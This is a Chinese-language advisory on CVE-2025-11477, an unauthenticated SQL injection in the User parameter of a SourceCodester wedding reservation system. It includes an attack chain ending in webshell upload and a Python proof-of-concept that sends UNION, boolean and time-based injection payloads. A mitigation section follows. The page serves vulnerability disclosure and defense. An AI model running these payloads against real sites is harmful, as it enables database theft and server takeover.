IPBUF安全漏洞报告
English
CVE-2025-11477 CVSS 7.3 高危

CVE-2025-11477 SourceCodester婚宴预订管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11477
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Wedding Reservation Management System

相关标签

SQL注入SourceCodesterWedding Reservation Management Systemglobal.php高危漏洞远程利用无需认证CVE-2025-11477

漏洞概述

CVE-2025-11477是SourceCodester婚宴预订管理系统(Wedding Reservation Management System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月8日被公开披露,CVSS 3.1评分为7.3分,属于高危级别。漏洞存在于系统的/global.php文件中,具体问题出现在对参数User的处理逻辑上。攻击者可以通过精心构造恶意SQL语句作为User参数的值,实现对后台数据库的未授权访问和操作。由于该漏洞无需任何身份认证即可远程利用,且利用代码已公开发布,潜在威胁较大。该漏洞由VulDB社区的安全研究人员发现并提交至CVE数据库,漏洞编号为VulDB ID 327595。SourceCodester作为一家提供免费源代码的知名平台,其发布的婚宴预订管理系统被广泛应用于中小型婚庆企业的业务管理中,因此该漏洞可能影响大量使用该系统的婚庆公司,造成用户预订数据、联系方式等敏感信息泄露的风险。

技术细节

该漏洞的核心问题在于/global.php文件中对User参数的处理缺乏充分的安全防护。具体而言,程序在接收用户提交的User参数后,未对其进行严格的输入验证或参数化处理,而是直接将用户输入拼接到SQL查询语句中执行,从而形成了典型的SQL注入漏洞。攻击者可以通过构造特殊的SQL注入payload,如' OR '1'='1、UNION SELECT等语句,绕过正常的认证逻辑或直接提取数据库中的敏感信息。由于该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),且无需任何特权(PR:N)和用户交互(UI:N),攻击者可以在远程通过简单的HTTP请求发起攻击。漏洞的机密性、完整性和可用性影响均为低级别(C:L/I:L/A:L),但组合起来仍构成高危风险。值得注意的是,该漏洞的利用代码已经在GitHub上公开发布(参考链接:https://github.com/DrNbnonono/CVE/issues/4),这大大降低了攻击门槛,使得即使是技术水平较低的脚本小子也可能成功利用该漏洞。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络搜索或Shodan等工具识别运行SourceCodester Wedding Reservation Management System 1.0的目标服务器。
STEP 2
步骤2:漏洞探测
攻击者访问目标网站的/global.php文件,尝试在User参数中注入单引号等特殊字符,通过错误信息确认SQL注入漏洞的存在。
STEP 3
步骤3:构造注入payload
攻击者根据数据库类型(MySQL)构造UNION联合查询或布尔盲注payload,用于提取数据库中的敏感信息。
STEP 4
步骤4:数据提取
攻击者通过SQL注入获取数据库中的管理员账号、密码哈希、用户个人信息、预订记录等敏感数据。
STEP 5
步骤5:权限提升与持久化
攻击者利用获取的管理员凭证登录系统后台,上传Webshell或修改系统配置,实现对服务器的持久控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11477 - SourceCodester Wedding Reservation Management System 1.0 # SQL Injection PoC via User parameter in /global.php # Author: Security Researcher import requests # Target configuration TARGET_URL = "http://target-site.com/global.php" # SQL Injection payload targeting the User parameter # This payload attempts to extract database information via UNION-based injection payload = { "User": "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" } # Alternative boolean-based blind injection payload blind_payload = { "User": "' OR 1=1-- -" } # Time-based blind injection payload time_based_payload = { "User": "' OR SLEEP(5)-- -" } def exploit_sql_injection(url, data): """ Send the SQL injection payload to the target server """ try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request successful") print(f"[+] Response length: {len(response.text)}") print(f"[+] Response preview: {response.text[:500]}") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Execute the exploit if __name__ == "__main__": print("[*] CVE-2025-11477 SQL Injection PoC") print(f"[*] Target: {TARGET_URL}") print("[*] Attempting UNION-based injection...") result = exploit_sql_injection(TARGET_URL, payload) if result: print("[*] Attempting boolean-based blind injection...") exploit_sql_injection(TARGET_URL, blind_payload) print("[*] Attempting time-based blind injection...") exploit_sql_injection(TARGET_URL, time_based_payload)

影响范围

SourceCodester Wedding Reservation Management System 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)或入侵检测系统(IDS)部署SQL注入防护规则,拦截包含UNION、SELECT、SLEEP等关键字的恶意请求;2)修改/global.php文件,对User参数实施严格的输入验证,仅允许字母数字字符;3)暂时禁用/global.php的相关功能或限制其访问权限;4)监控数据库日志,排查是否存在异常查询记录;5)修改数据库账户密码,防止已泄露的凭证被滥用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表